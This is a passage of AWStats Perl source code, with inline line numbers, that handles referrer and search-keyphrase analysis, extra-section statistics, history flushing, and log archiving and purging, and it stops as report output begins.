$_browser_h{'Unknown'}++; 19904 $_os_h{'Unknown'}++; 19905 if ($PageBool) { 19906 $_browser_p{'Unknown'}++; 19907 $_os_p{'Unknown'}++; 19908 } 19909 } 19910 19911 # Analyze: Referer 19912 #----------------- 19913 my $found = 0; 19914 if ( $pos_referer >= 0 19915 && $LevelForRefererAnalyze 19916 && $field[$pos_referer] ) 19917 { 19918 19919 # Direct ? 19920 if ( $field[$pos_referer] eq '-' 19921 || $field[$pos_referer] eq 'bookmarks' ) 19922 { # "bookmarks" is sent by Netscape, '-' by all others browsers 19923 # Direct access 19924 if ($PageBool) { 19925 if ($ShowDirectOrigin) { 19926 print "Direct access for line $line\n"; 19927 } 19928 $_from_p[0]++; 19929 } 19930 $_from_h[0]++; 19931 $found = 1; 19932 } 19933 else { 19934 $field[$pos_referer] =~ /$regreferer/o; 19935 my $refererprot = $1; 19936 my $refererserver = 19937 ( $2 || '' ) 19938 . ( !$3 || $3 eq ':80' ? '' : $3 ) 19939 ; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80 19940 # HTML link ? 19941 if ( $refererprot =~ /^http/i ) { 19942 19943#if ($Debug) { debug(" Analyze referer refererprot=$refererprot refererserver=$refererserver",5); } 19944 19945 # Kind of origin 19946 if ( !$TmpRefererServer{$refererserver} ) 19947 { # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise 19948 if ( $refererserver =~ /$reglocal/o ) { 19949 19950 # Intern (This hit came from another page of the site) 19951 if ($Debug) { 19952 debug( 19953" Server '$refererserver' is added to TmpRefererServer with value '='", 19954 2 19955 ); 19956 } 19957 $TmpRefererServer{$refererserver} = '='; 19958 $found = 1; 19959 } 19960 else { 19961 foreach (@HostAliases) { 19962 if ( $refererserver =~ /$_/ ) { 19963 19964 # Intern (This hit came from another page of the site) 19965 if ($Debug) { 19966 debug( 19967" Server '$refererserver' is added to TmpRefererServer with value '='", 19968 2 19969 ); 19970 } 19971 $TmpRefererServer{$refererserver} = '='; 19972 $found = 1; 19973 last; 19974 } 19975 } 19976 if ( !$found ) { 19977 19978 # Extern (This hit came from an external web site). 19979 19980 if ($LevelForSearchEnginesDetection) { 19981 19982 foreach (@SearchEnginesSearchIDOrder) 19983 { # Search ID in order of SearchEnginesSearchIDOrder 19984 if ( $refererserver =~ /$_/ ) { 19985 my $key = &UnCompileRegex($_); 19986 if ( 19987 !$NotSearchEnginesKeys{$key} 19988 || $refererserver !~ 19989/$NotSearchEnginesKeys{$key}/i 19990 ) 19991 { 19992 19993 # This hit came from the search engine $key 19994 if ($Debug) { 19995 debug( 19996" Server '$refererserver' is added to TmpRefererServer with value '$key'", 19997 2 19998 ); 19999 } 20000 $TmpRefererServer{ 20001 $refererserver} = 20002 $SearchEnginesHashID{ $key 20003 }; 20004 $found = 1; 20005 } 20006 last; 20007 } 20008 } 20009 20010 } 20011 } 20012 } 20013 } 20014 20015 my $tmprefererserver = 20016 $TmpRefererServer{$refererserver}; 20017 if ($tmprefererserver) { 20018 if ( $tmprefererserver eq '=' ) { 20019 20020 # Intern (This hit came from another page of the site) 20021 if ($PageBool) { $_from_p[4]++; } 20022 $_from_h[4]++; 20023 $found = 1; 20024 } 20025 else { 20026 20027 # This hit came from a search engine 20028 if ($PageBool) { 20029 $_from_p[2]++; 20030 $_se_referrals_p{$tmprefererserver}++; 20031 } 20032 $_from_h[2]++; 20033 $_se_referrals_h{$tmprefererserver}++; 20034 $found = 1; 20035 if ( $PageBool && $LevelForKeywordsDetection ) { 20036 20037 # we will complete %_keyphrases hash array 20038 my @refurl = 20039 split( /\?/, $field[$pos_referer], 2 ) 20040 ; # TODO Use \? or [$URLQuerySeparators] ? 20041 if ( $refurl[1] ) { 20042 20043# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...) 20044 if ( 20045 $SearchEnginesKnownUrl{ 20046 $tmprefererserver} ) 20047 { # Search engine with known URL syntax 20048 foreach my $param ( 20049 split( 20050 /&/, 20051 $KeyWordsNotSensitive 20052 ? lc( $refurl[1] ) 20053 : $refurl[1] 20054 ) 20055 ) 20056 { 20057 if ( $param =~ 20058s/^$SearchEnginesKnownUrl{$tmprefererserver}// 20059 ) 20060 { 20061 20062 # We found good parameter 20063 # Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg" 20064 $param =~ 20065s/^(cache|related):[^\+]+// 20066 ; # Should be useless since this is for hit on 'not pages' 20067 &ChangeWordSeparatorsIntoSpace 20068 ($param) 20069 ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg] 20070 $param =~ s/^ +//; 20071 $param =~ s/ +$//; # Trim 20072 $param =~ tr/ /\+/s; 20073 if ( ( ( length $param ) > 0 ) and ( ( length $param ) < 80 ) ) 20074 { 20075 $_keyphrases{$param}++; 20076 } 20077 last; 20078 } 20079 } 20080 } 20081 elsif ( 20082 $LevelForKeywordsDetection >= 2 ) 20083 { # Search engine with unknown URL syntax 20084 foreach my $param ( 20085 split( 20086 /&/, 20087 $KeyWordsNotSensitive 20088 ? lc( $refurl[1] ) 20089 : $refurl[1] 20090 ) 20091 ) 20092 { 20093 my $foundexcludeparam = 0; 20094 foreach my $paramtoexclude ( 20095 @WordsToCleanSearchUrl) 20096 { 20097 if ( $param =~ 20098 /$paramtoexclude/i ) 20099 { 20100 $foundexcludeparam = 1; 20101 last; 20102 } # Not the param with search criteria 20103 } 20104 if ($foundexcludeparam) { 20105 next; 20106 } 20107 20108 # We found good parameter 20109 $param =~ s/.*=//; 20110 20111 # Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg" 20112 $param =~ 20113 s/^(cache|related):[^\+]+// 20114 ; # Should be useless since this is for hit on 'not pages' 20115 &ChangeWordSeparatorsIntoSpace( 20116 $param) 20117 ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ] 20118 $param =~ s/^ +//; 20119 $param =~ s/ +$//; # Trim 20120 $param =~ tr/ /\+/s; 20121 if ( ( length $param ) > 2 ) { 20122 $_keyphrases{$param}++; 20123 last; 20124 } 20125 } 20126 } 20127 } # End of elsif refurl[1] 20128 elsif ( 20129 $SearchEnginesWithKeysNotInQuery{ 20130 $tmprefererserver} ) 20131 { 20132 20133# debug("xxx".$refurl[0]); 20134# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2) 20135 if ( $refurl[0] =~ 20136/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/ 20137 ) 20138 { 20139 my $param = $1; 20140 &ChangeWordSeparatorsIntoSpace( 20141 $param); 20142 $param =~ tr/ /\+/s; 20143 if ( ( length $param ) > 0 ) { 20144 $_keyphrases{$param}++; 20145 } 20146 } 20147 } 20148 20149 } 20150 } 20151 } # End of if ($TmpRefererServer) 20152 else { 20153 20154 # This hit came from a site other than a search engine 20155 if ($PageBool) { $_from_p[3]++; } 20156 $_from_h[3]++; 20157 20158# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage 20159#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; } # Code moved in Save_History 20160# TODO: lowercase the value for referer server to have refering server not case sensitive 20161 if ($URLReferrerWithQuery) { 20162 if ($PageBool) { 20163 $_pagesrefs_p{ $field[$pos_referer] }++; 20164 } 20165 $_pagesrefs_h{ $field[$pos_referer] }++; 20166 } 20167 else { 20168 20169 # We discard query for referer 20170 if ( $field[$pos_referer] =~ 20171 /$regreferernoquery/o ) 20172 { 20173 if ($PageBool) { $_pagesrefs_p{"$1"}++; } 20174 $_pagesrefs_h{"$1"}++; 20175 } 20176 else { 20177 if ($PageBool) { 20178 $_pagesrefs_p{ $field[$pos_referer] }++; 20179 } 20180 $_pagesrefs_h{ $field[$pos_referer] }++; 20181 } 20182 } 20183 $found = 1; 20184 } 20185 } 20186 20187 # News Link ? 20188 #if (! $found && $refererprot =~ /^news/i) { 20189 # $found=1; 20190 # if ($PageBool) { $_from_p[5]++; } 20191 # $_from_h[5]++; 20192 #} 20193 } 20194 } 20195 20196 # Origin not found 20197 if ( !$found ) { 20198 if ($ShowUnknownOrigin) { 20199 print "Unknown origin: $field[$pos_referer]\n"; 20200 } 20201 if ($PageBool) { $_from_p[1]++; } 20202 $_from_h[1]++; 20203 } 20204 20205 # Analyze: EMail 20206 #--------------- 20207 if ( $pos_emails >= 0 && $field[$pos_emails] ) { 20208 if ( $field[$pos_emails] eq '<>' ) { 20209 $field[$pos_emails] = 'Unknown'; 20210 } 20211 elsif ( $field[$pos_emails] !~ /\@/ ) { 20212 $field[$pos_emails] .= "\@$SiteDomain"; 20213 } 20214 $_emails_h{ lc( $field[$pos_emails] ) } 20215 ++; #Count accesses for sender email (hit) 20216 if ($pos_size>0){$_emails_k{ lc( $field[$pos_emails] ) } += 20217 int( $field[$pos_size] ) 20218 ;} #Count accesses for sender email (kb) 20219 $_emails_l{ lc( $field[$pos_emails] ) } = $timerecord; 20220 } 20221 if ( $pos_emailr >= 0 && $field[$pos_emailr] ) { 20222 if ( $field[$pos_emailr] !~ /\@/ ) { 20223 $field[$pos_emailr] .= "\@$SiteDomain"; 20224 } 20225 $_emailr_h{ lc( $field[$pos_emailr] ) } 20226 ++; #Count accesses for receiver email (hit) 20227 if ($pos_size>0){$_emailr_k{ lc( $field[$pos_emailr] ) } += 20228 int( $field[$pos_size] ) 20229 ;} #Count accesses for receiver email (kb) 20230 $_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord; 20231 } 20232 } 20233 20234 # Check cluster 20235 #-------------- 20236 if ( $pos_cluster >= 0 ) { 20237 if ($PageBool) { 20238 $_cluster_p{ $field[$pos_cluster] }++; 20239 } #Count accesses for page (page) 20240 $_cluster_h{ $field[$pos_cluster] } 20241 ++; #Count accesses for page (hit) 20242 if ($pos_size>0){$_cluster_k{ $field[$pos_cluster] } += 20243 int( $field[$pos_size] );} #Count accesses for page (kb) 20244 } 20245 20246 # Analyze: Extra 20247 #--------------- 20248 foreach my $extranum ( 1 .. @ExtraName - 1 ) { 20249 if ($Debug) { debug( " Process extra analyze $extranum", 4 ); } 20250 20251 # Check code 20252 my $conditionok = 0; 20253 if ( $ExtraCodeFilter[$extranum] ) { 20254 foreach 20255 my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 ) 20256 { 20257 if ($Debug) { 20258 debug( 20259" Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'", 20260 5 20261 ); 20262 } 20263 if ( $field[$pos_code] eq 20264 "$ExtraCodeFilter[$extranum][$condnum]" ) 20265 { 20266 $conditionok = 1; 20267 last; 20268 } 20269 } 20270 if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) { 20271 next; 20272 } # End for this section 20273 if ($Debug) { 20274 debug( 20275" No check on code or code is OK. Now we check other conditions.", 20276 5 20277 ); 20278 } 20279 } 20280 20281 # Check conditions 20282 $conditionok = 0; 20283 foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 ) 20284 { 20285 my $conditiontype = $ExtraConditionType[$extranum][$condnum]; 20286 my $conditiontypeval = 20287 $ExtraConditionTypeVal[$extranum][$condnum]; 20288 if ( $conditiontype eq 'URL' ) { 20289 if ($Debug) { 20290 debug( 20291" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'", 20292 5 20293 ); 20294 } 20295 if ( $urlwithnoquery =~ /$conditiontypeval/ ) { 20296 $conditionok = 1; 20297 last; 20298 } 20299 } 20300 elsif ( $conditiontype eq 'QUERY_STRING' ) { 20301 if ($Debug) { 20302 debug( 20303" Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'", 20304 5 20305 ); 20306 } 20307 if ( $standalonequery =~ /$conditiontypeval/ ) { 20308 $conditionok = 1; 20309 last; 20310 } 20311 } 20312 elsif ( $conditiontype eq 'URLWITHQUERY' ) { 20313 if ($Debug) { 20314 debug( 20315" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'", 20316 5 20317 ); 20318 } 20319 if ( "$urlwithnoquery$tokenquery$standalonequery" =~ 20320 /$conditiontypeval/ ) 20321 { 20322 $conditionok = 1; 20323 last; 20324 } 20325 } 20326 elsif ( $conditiontype eq 'REFERER' ) { 20327 if ($Debug) { 20328 debug( 20329" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'", 20330 5 20331 ); 20332 } 20333 if ( $field[$pos_referer] =~ /$conditiontypeval/ ) { 20334 $conditionok = 1; 20335 last; 20336 } 20337 } 20338 elsif ( $conditiontype eq 'UA' ) { 20339 if ($Debug) { 20340 debug( 20341" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'", 20342 5 20343 ); 20344 } 20345 if ( $field[$pos_agent] =~ /$conditiontypeval/ ) { 20346 $conditionok = 1; 20347 last; 20348 } 20349 } 20350 elsif ( $conditiontype eq 'HOSTINLOG' ) { 20351 if ($Debug) { 20352 debug( 20353" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'", 20354 5 20355 ); 20356 } 20357 if ( $field[$pos_host] =~ /$conditiontypeval/ ) { 20358 $conditionok = 1; 20359 last; 20360 } 20361 } 20362 elsif ( $conditiontype eq 'HOST' ) { 20363 my $hosttouse = ( $HostResolved ? $HostResolved : $Host ); 20364 if ($Debug) { 20365 debug( 20366" Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'", 20367 5 20368 ); 20369 } 20370 if ( $hosttouse =~ /$conditiontypeval/ ) { 20371 $conditionok = 1; 20372 last; 20373 } 20374 } 20375 elsif ( $conditiontype eq 'VHOST' ) { 20376 if ($Debug) { 20377 debug( 20378" Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'", 20379 5 20380 ); 20381 } 20382 if ( $field[$pos_vh] =~ /$conditiontypeval/ ) { 20383 $conditionok = 1; 20384 last; 20385 } 20386 } 20387 elsif ( $conditiontype =~ /extra(\d+)/i ) { 20388 if ($Debug) { 20389 debug( 20390" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'", 20391 5 20392 ); 20393 } 20394 if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) { 20395 $conditionok = 1; 20396 last; 20397 } 20398 } 20399 else { 20400 error( 20401"Wrong value of parameter ExtraSectionCondition$extranum" 20402 ); 20403 } 20404 } 20405 if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) { 20406 next; 20407 } # End for this section 20408 if ($Debug) { 20409 debug( 20410" No condition or condition is OK. Now we extract value for first column of extra chart.", 20411 5 20412 ); 20413 } 20414 20415 # Determine actual column value to use. 20416 my $rowkeyval; 20417 my $rowkeyok = 0; 20418 foreach my $rowkeynum ( 20419 0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 ) 20420 { 20421 my $rowkeytype = 20422 $ExtraFirstColumnValuesType[$extranum][$rowkeynum]; 20423 my $rowkeytypeval = 20424 $ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum]; 20425 if ( $rowkeytype eq 'URL' ) { 20426 if ( $urlwithnoquery =~ /$rowkeytypeval/ ) { 20427 $rowkeyval = "$1"; 20428 $rowkeyok = 1; 20429 last; 20430 } 20431 } 20432 elsif ( $rowkeytype eq 'QUERY_STRING' ) { 20433 if ($Debug) { 20434 debug( 20435" Extract value from '$standalonequery' with regex '$rowkeytypeval'.", 20436 5 20437 ); 20438 } 20439 if ( $standalonequery =~ /$rowkeytypeval/ ) { 20440 $rowkeyval = "$1"; 20441 $rowkeyok = 1; 20442 last; 20443 } 20444 } 20445 elsif ( $rowkeytype eq 'URLWITHQUERY' ) { 20446 if ( "$urlwithnoquery$tokenquery$standalonequery" =~ 20447 /$rowkeytypeval/ ) 20448 { 20449 $rowkeyval = "$1"; 20450 $rowkeyok = 1; 20451 last; 20452 } 20453 } 20454 elsif ( $rowkeytype eq 'REFERER' ) { 20455 if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) { 20456 $rowkeyval = "$1"; 20457 $rowkeyok = 1; 20458 last; 20459 } 20460 } 20461 elsif ( $rowkeytype eq 'UA' ) { 20462 if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) { 20463 $rowkeyval = "$1"; 20464 $rowkeyok = 1; 20465 last; 20466 } 20467 } 20468 elsif ( $rowkeytype eq 'HOSTINLOG' ) { 20469 if ( $field[$pos_host] =~ /$rowkeytypeval/ ) { 20470 $rowkeyval = "$1"; 20471 $rowkeyok = 1; 20472 last; 20473 } 20474 } 20475 elsif ( $rowkeytype eq 'HOST' ) { 20476 my $hosttouse = ( $HostResolved ? $HostResolved : $Host ); 20477 if ( $hosttouse =~ /$rowkeytypeval/ ) { 20478 $rowkeyval = "$1"; 20479 $rowkeyok = 1; 20480 last; 20481 } 20482 } 20483 elsif ( $rowkeytype eq 'VHOST' ) { 20484 if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) { 20485 $rowkeyval = "$1"; 20486 $rowkeyok = 1; 20487 last; 20488 } 20489 } 20490 elsif ( $rowkeytype =~ /extra(\d+)/i ) { 20491 if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) { 20492 $rowkeyval = "$1"; 20493 $rowkeyok = 1; 20494 last; 20495 } 20496 } 20497 else { 20498 error( 20499"Wrong value of parameter ExtraSectionFirstColumnValues$extranum" 20500 ); 20501 } 20502 } 20503 if ( !$rowkeyok ) { next; } # End for this section 20504 if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; } 20505 if ($Debug) { debug( " Key val found: $rowkeyval", 5 ); } 20506 20507 # Apply function on $rowkeyval 20508 if ( $ExtraFirstColumnFunction[$extranum] ) { 20509 20510 # Todo call function on string $rowkeyval 20511 } 20512 20513 # Here we got all values to increase counters 20514 if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) { 20515 ${ '_section_' . $extranum . '_p' }{$rowkeyval}++; 20516 } 20517 ${ '_section_' . $extranum . '_h' }{$rowkeyval}++; # Must be set 20518 if ( $ExtraStatTypes[$extranum] =~ /B/i && $pos_size>0) { 20519 ${ '_section_' . $extranum . '_k' }{$rowkeyval} += 20520 int( $field[$pos_size] ); 20521 } 20522 if ( $ExtraStatTypes[$extranum] =~ /L/i ) { 20523 if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval} 20524 || 0 < $timerecord ) 20525 { 20526 ${ '_section_' . $extranum . '_l' }{$rowkeyval} = 20527 $timerecord; 20528 } 20529 } 20530 20531 # Check to avoid too large extra sections 20532 if ( 20533 scalar keys %{ '_section_' . $extranum . '_h' } > 20534 $ExtraTrackedRowsLimit ) 20535 { 20536 error(<<END_ERROR_TEXT); 20537The number of values found for extra section $extranum has grown too large. 20538In order to prevent awstats from using an excessive amount of memory, the number 20539of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider 20540revising extract parameters for extra section $extranum. If you are certain you 20541want to track such a large data set, you can increase the limit by setting 20542ExtraTrackedRowsLimit in your awstats configuration file. 20543END_ERROR_TEXT 20544 } 20545 } 20546 20547# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file 20548 if ( ++$counterforflushtest >= 20000 ) { 20549 20550 #if (++$counterforflushtest >= 1) { 20551 if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) 20552 || ( scalar keys %_url_p ) > $LIMITFLUSH ) 20553 { 20554 20555# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files."); 20556 if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) { 20557 20558# We don't flush if perl is activestate to avoid slowing process because of memory hole 20559 } 20560 else { 20561 20562 # Clean tmp hash arrays 20563 #%TmpDNSLookup = (); 20564 %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = (); 20565 20566 # We flush if perl is not activestate 20567 print "Flush history file on disk"; 20568 if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) { 20569 print " (unique hosts reach flush limit of " 20570 . ( $LIMITFLUSH << 2 ) . ")"; 20571 } 20572 if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) { 20573 print " (unique url reach flush limit of " 20574 . ($LIMITFLUSH) . ")"; 20575 } 20576 print "\n"; 20577 if ($Debug) { 20578 debug( 20579"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.", 20580 2 20581 ); 20582 print " _host_p:" 20583 . ( scalar keys %_host_p ) 20584 . " _host_h:" 20585 . ( scalar keys %_host_h ) 20586 . " _host_k:" 20587 . ( scalar keys %_host_k ) 20588 . " _host_l:" 20589 . ( scalar keys %_host_l ) 20590 . " _host_s:" 20591 . ( scalar keys %_host_s ) 20592 . " _host_u:" 20593 . ( scalar keys %_host_u ) . "\n"; 20594 print " _url_p:" 20595 . ( scalar keys %_url_p ) 20596 . " _url_k:" 20597 . ( scalar keys %_url_k ) 20598 . " _url_e:" 20599 . ( scalar keys %_url_e ) 20600 . " _url_x:" 20601 . ( scalar keys %_url_x ) . "\n"; 20602 print " _waithost_e:" 20603 . ( scalar keys %_waithost_e ) 20604 . " _waithost_l:" 20605 . ( scalar keys %_waithost_l ) 20606 . " _waithost_s:" 20607 . ( scalar keys %_waithost_s ) 20608 . " _waithost_u:" 20609 . ( scalar keys %_waithost_u ) . "\n"; 20610 } 20611 &Read_History_With_TmpUpdate( 20612 $lastprocessedyear, 20613 $lastprocessedmonth, 20614 $lastprocessedday, 20615 $lastprocessedhour, 20616 1, 20617 1, 20618 "all", 20619 ( $lastlinenb + $NbOfLinesParsed ), 20620 $lastlineoffset, 20621 &CheckSum($_) 20622 ); 20623 &GetDelaySinceStart(1); 20624 $NbOfLinesShowsteps = 1; 20625 } 20626 } 20627 $counterforflushtest = 0; 20628 } 20629 20630 } # End of loop for processing new record. 20631 20632 if ($Debug) { 20633 debug( 20634 " _host_p:" 20635 . ( scalar keys %_host_p ) 20636 . " _host_h:" 20637 . ( scalar keys %_host_h ) 20638 . " _host_k:" 20639 . ( scalar keys %_host_k ) 20640 . " _host_l:" 20641 . ( scalar keys %_host_l ) 20642 . " _host_s:" 20643 . ( scalar keys %_host_s ) 20644 . " _host_u:" 20645 . ( scalar keys %_host_u ) . "\n", 20646 1 20647 ); 20648 debug( 20649 " _url_p:" 20650 . ( scalar keys %_url_p ) 20651 . " _url_k:" 20652 . ( scalar keys %_url_k ) 20653 . " _url_e:" 20654 . ( scalar keys %_url_e ) 20655 . " _url_x:" 20656 . ( scalar keys %_url_x ) . "\n", 20657 1 20658 ); 20659 debug( 20660 " _waithost_e:" 20661 . ( scalar keys %_waithost_e ) 20662 . " _waithost_l:" 20663 . ( scalar keys %_waithost_l ) 20664 . " _waithost_s:" 20665 . ( scalar keys %_waithost_s ) 20666 . " _waithost_u:" 20667 . ( scalar keys %_waithost_u ) . "\n", 20668 1 20669 ); 20670 debug( 20671 "End of processing log file (AWStats memory cache is TmpDNSLookup=" 20672 . ( scalar keys %TmpDNSLookup ) 20673 . " TmpBrowser=" 20674 . ( scalar keys %TmpBrowser ) 20675 . " TmpOS=" 20676 . ( scalar keys %TmpOS ) 20677 . " TmpRefererServer=" 20678 . ( scalar keys %TmpRefererServer ) 20679 . " TmpRobot=" 20680 . ( scalar keys %TmpRobot ) . ")", 20681 1 20682 ); 20683 } 20684 20685# Save current processed break section 20686# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file 20687 if ( $lastprocesseddate > 0 ) 20688 { 20689 # TODO: Do not save if we are sure a flush was just already done 20690 # Get last line 20691 seek( LOG, $lastlineoffset, 0 ); 20692 my $line = <LOG>; 20693 chomp $line; 20694 $line =~ s/\r$//; 20695 if ( !$NbOfLinesParsed ) 20696 { 20697 # TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0 20698 &Read_History_With_TmpUpdate( 20699 $lastprocessedyear, $lastprocessedmonth, 20700 $lastprocessedday, $lastprocessedhour, 20701 1, 1, 20702 "all", ( $lastlinenb + $NbOfLinesParsed ), 20703 $lastlineoffset, &CheckSum($line) 20704 ); 20705 } 20706 else { 20707 &Read_History_With_TmpUpdate( 20708 $lastprocessedyear, $lastprocessedmonth, 20709 $lastprocessedday, $lastprocessedhour, 20710 1, 1, 20711 "all", ( $lastlinenb + $NbOfLinesParsed ), 20712 $lastlineoffset, &CheckSum($line) 20713 ); 20714 } 20715 } 20716 20717 if ($Debug) { debug("Close log file \"$LogFile\""); } 20718 close LOG || error("Command for pipe '$LogFile' failed"); 20719 20720 # Process the Rename - Archive - Purge phase 20721 my $renameok = 1; 20722 my $archiveok = 1; 20723 20724 # Open Log file for writing if PurgeLogFile is on 20725 if ($PurgeLogFile) { 20726 if ($ArchiveLogRecords) { 20727 if ( $ArchiveLogRecords == 1 ) { # For backward compatibility 20728 $ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log"; 20729 } 20730 else { 20731 $ArchiveFileName = 20732 "$DirData/${PROG}_archive$FileSuffix." 20733 . &Substitute_Tags($ArchiveLogRecords) . ".log"; 20734 } 20735 open( LOG, "+<$LogFile" ) 20736 || error( 20737"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n" 20738 ); 20739 } 20740 else { 20741 open( LOG, "+<$LogFile" ); 20742 } 20743 binmode LOG; 20744 } 20745 20746 # Rename all HISTORYTMP files into HISTORYTXT 20747 &Rename_All_Tmp_History(); 20748 20749 # Purge Log file if option is on and all renaming are ok 20750 if ($PurgeLogFile) { 20751 20752 # Archive LOG file into ARCHIVELOG 20753 if ($ArchiveLogRecords) { 20754 if ($Debug) { debug("Start of archiving log file"); } 20755 open( ARCHIVELOG, ">>$ArchiveFileName" ) 20756 || error( 20757 "Couldn't open file \"$ArchiveFileName\" to archive log: $!"); 20758 binmode ARCHIVELOG; 20759 while (<LOG>) { 20760 if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; } 20761 } 20762 close(ARCHIVELOG) 20763 || error("Archiving failed during closing archive: $!"); 20764 if ($SaveDatabaseFilesWithPermissionsForEveryone) { 20765 chmod 0666, "$ArchiveFileName"; 20766 } 20767 if ($Debug) { debug("End of archiving log file"); } 20768 } 20769 20770 # If rename and archive ok 20771 if ( $renameok && $archiveok ) { 20772 if ($Debug) { debug("Purge log file"); } 20773 my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' ); 20774 my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' ); 20775 my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' ); 20776 truncate( LOG, 0 ) 20777 || warning( 20778"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)." 20779 ); 20780 } 20781 close(LOG); 20782 } 20783 20784 if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) { 20785 20786 # DNSLookup warning 20787 my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' ); 20788 my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' ); 20789 my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' ); 20790 warning( 20791"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed." 20792 ); 20793 } 20794 if ( $DNSLookup == 1 && $NbOfNewLines ) { 20795 20796 # Save new DNS last update cache file 20797 Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile", 20798 "$FileSuffix" ); # Save into file using FileSuffix 20799 } 20800 20801 if ($EnableLockForUpdate) { 20802 20803 # Remove lock 20804 &Lock_Update(0); 20805 20806 # Restore signals handler 20807 $SIG{INT} = 'DEFAULT'; # 2 20808 #$SIG{KILL} = 'DEFAULT'; # 9 20809 #$SIG{TERM} = 'DEFAULT'; # 15 20810 } 20811 20812} 20813 20814# End of log processing if ($UPdateStats) 20815 20816#--------------------------------------------------------------------- 20817# SHOW REPORT 20818#--------------------------------------------------------------------- 20819 20820if ( scalar keys %HTMLOutput ) { 20821 20822 debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 ); 20823 debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 ); 20824 20825 # Define the NewLinkParams for main chart 20826 my $NewLinkParams = ${QueryString}; 20827 $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; 20828 $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; 20829 $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; 20830 $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; 20831 my $NewLinkTarget = ''; 20832 if ($DetailedReportsOnNewWindows) { 20833 $NewLinkTarget = " target=\"awstatsbis\""; 20834 } 20835 if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' ) 20836 && $DetailedReportsOnNewWindows < 2 ) 20837 { 20838 $NewLinkParams .= "&framename=mainright"; 20839 $NewLinkTarget = " target=\"mainright\""; 20840 } 20841 $NewLinkParams =~ s/(&|&)+/&/i; 20842 $NewLinkParams =~ s/^&//; 20843 $NewLinkParams =~ s/&$//; 20844 if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } 20845 20846 if ( 